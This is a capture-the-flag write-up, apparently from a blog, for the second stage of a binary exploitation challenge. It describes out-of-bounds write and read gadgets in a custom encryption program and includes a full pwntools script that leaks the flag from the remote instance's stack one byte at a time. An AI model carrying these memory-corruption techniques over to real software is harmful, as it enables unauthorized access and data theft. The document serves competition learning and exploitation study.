*For the full experience with images see the original blog post! (It contains all stages.)*
For the second challenge, I worked together with Ordoviz.Together, we started to look at the fake flag mentioned in the description and tried to find a way to leak that on the remote.This flag is used in `func_15d7` below that we skipped earlier.`__builtin_strncpy` is Binary Ninja's way of saying that the constant is copied to the stack.Thus, we need to find a way to read the stack on the remote instance.
encrypt function (func_15d7)
Now, most good old binary exploitation starts with a crash.We got one here by testing random input (in other words, spamming text): `[1]    185560 segmentation fault (core dumped)  ./challenge`.Ordoviz looked at the core dump and then used `rr` to step through a recording of a crashing sample input we used to findthat it had overwritten the return address of `set_nibble` (`func_1320`).We had produced an index that was larger than the expected range of `[0..16]` in the call at address `0x14ad`.Looking at that address, I remembered that the `combine` function (`func_1229`) was unbounded for the addition case:
combine function (func_1229)
That let us write out of bounds in that call when using shift values larger than fifteen.Provided we account for the permutation, we can write 8 bytes with that OOB write gadget.I quickly tested that and build an exploit script for that.Meanwhile, Ordoviz looked at the libc we got in the second handout and analyzed possible exploitation paths and useful gadgets.Now, we were mainly interested in reading not writing but revisiting the encryption function shows an opportunity for that as well.
do_encrypt function (func_13b9) with highlight on second array access
When writing to the encryption buffer at the end of the round the program uses a nested array access on the permutation array.Knowing that we can fill that with too large values, the outer access will read out of bounds from that base address.
The easiest setup I found for that was producing 1-byte-read gadget.Because we write OOB at address `0x14ad` the temporary buffer is not initialized as intended.On the remote it likely contained an address, according to our tests on different setups.That leaves two clean null bytes though that we can use.In the second inner loop the key nibbles will be copied, leaving those two bytes as zero when we send a key like `'0'*16`.Then, in the third loop that value (as nibbles) is used as the first index accessing the permutation array.We can set that to the offset we like to read directly using the shifts.Now, I didn't consider this correctly and so I used the write gadget to overwrite the first bytes of the permutation buffer first.A bit of unnecessary work, but hey, it's also a working solution.The outer access than reads our target byte and it runs through the remaining 15 rounds of the encryption.We can than decrypt that (my function from Stage 1 can do that by just passing less shifts) to nearly reconstruct the flag.
```py# WARNING: solution unstable for general use (see improved script in stage 3)!from dataclasses import dataclassimport pwn
from decrypt import PERMUTATION, decrypt_block, from_nibbles, to_nibbles
@dataclassclass Block:    # key: bytes    shifts: list[int]    plaintext: bytes
PERMUTATION_LOOKUP = [0] * 16for i in range(16):    PERMUTATION_LOOKUP[PERMUTATION[i]] = i
PATH = "./challenge_patched"RETURN_OFFSET = 0x58
binary = pwn.ELF(PATH)
# Currently 8 bytes only, max offset 127def build_payload(payload: bytes, offset: int):    assert len(payload) == 8    assert offset <= 127
    shifts = [0] * 16    shifts[0] = offset * 2
    out = [0] * 16    payload_nibbles = to_nibbles(payload)    for i in range(16):        out[i] = payload_nibbles[PERMUTATION_LOOKUP[i]]
    real_payload = from_nibbles(out)
    return Block(shifts, real_payload)
def send_block(conn: pwn.tube, block: Block):    conn.recvuntil(b"Please provide a key for block ")    conn.recvuntil(b": ")    conn.sendline(b"0011223344550011")    for pos in range(16):        conn.recvuntil(b": ")        conn.sendline(hex(block.shifts[pos])[2:].encode())    conn.recvuntil(b"Please provide plaintext for block")    conn.recvuntil(b": ")    conn.sendline(block.plaintext.hex().encode())
def unscramble(upper, lower):    if upper > lower:        return (upper - lower) << 4 | lower & 0xF    else:        return (0x10 + upper - lower) << 4 | lower & 0xF
def reconstruct_data(read_data: bytes):    shifts = [0] * 15    dec = decrypt_block(        to_nibbles(bytes.fromhex("0011223344550011")), shifts, to_nibbles(read_data)    )    dec = dec[-4:]    fixed_data = bytes([unscramble(dec[2 * pos], dec[2 * pos + 1]) for pos in range(len(dec) // 2)])     return fixed_data
def create_conn():    if pwn.args.GDB:        conn = pwn.gdb.debug(PATH, aslr=False)    elif pwn.args.REMOTE:        conn = pwn.remote("chal-kalmarc.tf", 8)    else:        conn = pwn.process(PATH)    return conn
def main():    with create_conn() as conn:        OFFSET = 0x80        flag = ""        for i in range(64):            conn.recvuntil(b"Number of blocks: ")            conn.sendline(b"1")
            block = build_payload((OFFSET+i).to_bytes(1)*8, RETURN_OFFSET - 0x48)            send_block(conn, block)
            conn.recvuntil(b"Block 0: ")            read_leak = conn.recvline()[:-1].decode()            print("leak:", read_leak)            next_char = reconstruct_data(bytes.fromhex(read_leak)).decode()[0]            flag += next_char
            if next_char == '}':                break
        print(flag)        conn.interactive()    pass
if __name__ == "__main__":    main()
```
set_nibble function (func_1320)
There's one more step we need to do which I called unscramble here.Because `set_nibble` (`func_1320`) expects us to pass in nibbles, not full bytes as we did, it first sets the upper nibble of the buffer to the lower nibble of the value (the `else` case with even index).Then it adds the whole value byte to that in the first case.Thus, we need to subtract the added lower nibble (which we know for sure) from the upper one we get and account for overflows:
```Value '{' (0x7b):We get: (0xb0 + 0x7b) = 0x12b => 0x2bReconstruct: (2 <= 0xb) => 0x100 + 0x2b - 0xb0 = 0x7b
Value 'a' (0x61):We get: (0x10 + 0x61) = 0x71Reconstruct: (7 > 1) => 0x71 - 0x10 = 0x61```
Like that, we can read data at a certain stack offset and use that to leak the flag.